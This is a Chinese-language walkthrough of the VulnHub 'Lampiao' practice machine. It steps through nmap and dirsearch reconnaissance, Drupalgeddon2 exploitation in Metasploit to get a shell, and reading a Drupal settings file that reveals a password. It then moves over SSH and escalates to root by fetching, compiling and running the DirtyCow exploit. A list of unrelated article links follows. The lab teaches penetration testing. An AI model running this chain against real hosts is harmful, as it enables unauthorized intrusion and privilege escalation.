当前位置: 首页 > news >正文

lampiao靶场渗透

lampiao

https://www.vulnhub.com/entry/lampiao-1,249/

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.245

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.245

  1. SSH服务 (22/tcp)
  • 版本: OpenSSH 6.6.1p1(Ubuntu补丁版本2ubuntu2.7)
  • 潜在风险:
  • OpenSSH 6.6.1 存在多个历史漏洞(如CVE-2014-2653、CVE-2016-0777),需确认是否已修复。
  • 若允许密码认证,可能存在弱口令风险。
  • 建议:
  • 检查补丁状态,确认是否升级到最新版本。
  • 尝试密钥破解或检查是否允许空口令登录(需授权)。
  1. HTTP服务 (80/tcp)
  • 未知服务: Nmap未识别具体服务,但返回ASCII艺术文本,可能为自定义Web应用。
  • 潜在风险:
  • 可能存在未公开漏洞或配置错误。
  • 建议:
  • 使用浏览器或curl访问该端口,分析HTTP响应头和内容。
  • 运行niktodirbuster扫描目录,寻找敏感文件(如/admin/backup)。
  1. HTTP服务 (1898/tcp)
  • 版本: Apache 2.4.7 + Drupal 7
  • 关键发现:
  • robots.txt禁用36个目录(如/modules//install.php),提示Drupal结构。
  • 标题为“Lampião”,可能为定制化Drupal站点。
  • 潜在风险:
  • Drupal 7存在高危漏洞(如CVE-2018-7600远程代码执行)。
  • Apache 2.4.7较旧(2013年发布),可能伴随其他漏洞。
  • 建议:
  • 使用droopescan扫描Drupal版本及漏洞。
  • 检查/CHANGELOG.txt/README.txt获取Drupal具体版本。
  • 尝试利用Drupalgeddon(CVE-2018-7600)等漏洞。

 

4,访问80端口存在的http服务

访问另一个http服务

http://192.168.23.245:1898/

存在一个登录页面,扫描网站存在的子目录

dirsearch -u http://192.168.23.245:1898 -x 403,404,301

先看robots.txt泄露哪些危险目录

robots.txt 分析报告

1. 基础信息

  • 作用: 控制搜索引擎爬虫的访问权限,但无法阻止手动访问
  • 范围: 适用于所有爬虫(User-agent: *)。
  • 爬取延迟Crawl-delay: 10(限制爬虫频率)。

2. 关键禁止路径(Disallow)

以下路径可能暴露敏感信息或功能接口,需重点关注:

2.1 目录禁止

路径

潜在风险

/includes/

可能包含核心配置文件(如数据库凭证)

/modules/

Drupal模块目录,可能含漏洞插件

/profiles/

站点配置文件

/scripts/

自定义脚本,可能含调试代码或硬编码密钥

/themes/

主题文件,可能泄露路径或调试信息

2.2 文件禁止

文件

风险描述

/CHANGELOG.txt

泄露Drupal版本,用于匹配历史漏洞

/INSTALL.*.txt

安装指南,可能暴露数据库配置信息

/install.php

若未删除,允许重新安装覆盖站点

/update.php

用于更新Drupal,若未授权访问可能导致代码执行

/xmlrpc.php

XML-RPC接口,可能被用于SSRF或DoS攻击

2.3 功能路径禁止

路径

用途

/admin/

后台管理面板

/user/login/

用户登录入口

/user/password/

密码重置功能

/node/add/

内容创建接口

3. 允许路径(Allow)

  • 静态资源: 允许爬取CSS、JS、图片文件(如/misc/*.css/modules/*.png)。
  • 利用可能: 通过分析静态文件内容,寻找硬编码密钥或敏感注释。

5,指纹扫描那个网站

whatweb -v http://192.168.23.245:1898

访问文件/CHANGELOG.txt,发现是Drupal为框架的网站 ,版本为7.54

searchsploit Drupal 7.54

存在msf内置的攻击脚本,保存下来看看

searchsploit Drupal 7.54 -m 44482.rb

cat 44482.rb

 

6,使用metasploit对网站进行攻击

msfconsole -q 

search Drupalgeddon2

use 0

查看需要配置的选项

set RHOSTS 192.168.23.245

set RPORT 1898

run

shell

成功getshell

7,使用pyhton脚本获取可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

信息收集一下

网站是drupal框架搭建的,惯用套路就是查看数据库配置文件,拿到数据库登录密码

ls /var/www/html/sites/default

cat /var/www/html/sites/default/settings.php

得到一个账户密码drupaluser/Virgulino

尝试登录tiago用户,发现登录成功,获取tiago权限

ssh tiago@192.168.23.245

横向移动成功,注意到这个靶场的内核版本是有提权exp的

searchsploit Dirty Cow

这里使用40847.cpp

searchsploit -m 40847.cpp

使用python脚本开启http服务,使靶机下载提权exp脚本

python -m http.server

cd /tmp

wget http://192.168.23.182:8000/40847.cpp

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

chmod 777 40847

./40847 -s

su root

成功提权成功root用户,得到flag

http://www.xdnf.cn/news/392293.html

相关文章:

  • # KVstorageBaseRaft-cpp 项目 RPC 模块源码学习
  • TikTok 账号运营干货:AI 驱动优化
  • Python----神经网络(基于Alex Net的花卉分类项目)
  • 按钮样式统一
  • Kids A-Z安卓版:儿童英语启蒙的优质选择
  • 特励达力科LeCroy推出Xena Freya Z800 800GE高性能的800G以太网测试平台
  • LLM 论文精读(四)LLM Post-Training: A Deep Dive into Reasoning Large Language Models
  • 基于多层权重博弈与广播机制的仿生类脑 AI 决策框架
  • 组合模式(Composite Pattern)详解
  • FR2012A富芮坤ADC:频繁调用adc_get_data要延时
  • 使用lldb看看Rust的HashMap
  • 三、c语言练习四题
  • Linux网络编程实现FTP服务器
  • 探秘 Cursor 核心:解锁系统提示词的进阶之路
  • c++ 如何写类(不带指针版)
  • k8s 资源对比总结
  • 精讲C++四大核心特性:内联函数加速原理、auto智能推导、范围for循环与空指针进阶
  • vue数据可视化开发echarts等组件、插件的使用及建议-浅看一下就行
  • 什么是硬件中断请求号?什么是中断向量号?
  • 英语复习笔记 1
  • Nipype使用:从安装配置到sMRI处理
  • 基于OpenCV的人脸识别:LBPH算法
  • MySQL数据库的安全性防护
  • 【问题】Watt加速github访问速度:好用[特殊字符]
  • 在 C++中,指针数组与数组指针的区别
  • 0基础 | L298N电机驱动模块 | 使用指南
  • 【基于 LangChain 的异步天气查询5】多轮对话天气智能助手
  • js的基本数据类型
  • opencascade.js stp vite 调试笔记
  • 使用 Java 反射动态加载和操作类